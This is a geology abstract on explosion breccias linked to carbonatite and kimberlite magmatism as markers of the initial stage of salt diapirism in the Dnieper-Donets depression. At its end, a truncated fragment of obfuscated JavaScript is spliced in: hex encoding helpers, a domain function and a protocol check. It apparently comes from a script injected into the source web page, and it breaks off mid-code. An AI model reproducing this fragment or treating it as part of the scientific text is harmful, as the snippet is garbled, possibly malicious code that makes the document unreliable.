EXPLOSION BRECCIAS – LITHOGEODYNAMIC INDICATOR OF INITIAL STAGE OF SALT DIAPIRISM

Abstract

The near-diapir explosive breccias are of special informative significance as a possibility for the elucidation of the role of endogenic factors of salt diapirism. The paper deals with results of their study on evidence of deep drilling in Skorobogatkovsko-Pesochanskaya complexly-built salt-dome structure situated above apical part of Dnieper-Donets plume – the main total controlling factor of tectogenesis and naphtidogenesis in central – SE segment of Dnieper-Donets depression (with maximum deep, stratigraphic and phase-geochemical ranges of petroleum potential). The explosion breccias genetically connected with carbonatite and kimberlite magmatism are established apart from caprock. They are lithogeodynamic indicators of the initial stage of salt diapirism had been preceded by location of magmatic reservoirs (in knots of rift faults intersections) following by their differentiation into non-mixing carbonatite, kimberlite magmas and salt melt. They had initiated the origin of explosion tubes. Subsequent development of those tubes is connected with intrusion and following linking up of halokinesis. Further stages of salt diapirism progradation are connected with different-aged phases of tectonic-thermal activisation to be followed by their pushing out from explosion tubes, displacement of their remnants into the periphery of salt domes and intensive hydrothermal metasomatic transformation. Availability of relict signs of carbonatite and kimberlite nature of explosion near-diapir breccias allow to raise the question as to connected with giant salt diapirs prospects of searching not only oil and gas pools and brines, lead-zinc, copper, sulphur, boron, uranium deposits but also rare metals and diamonds. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e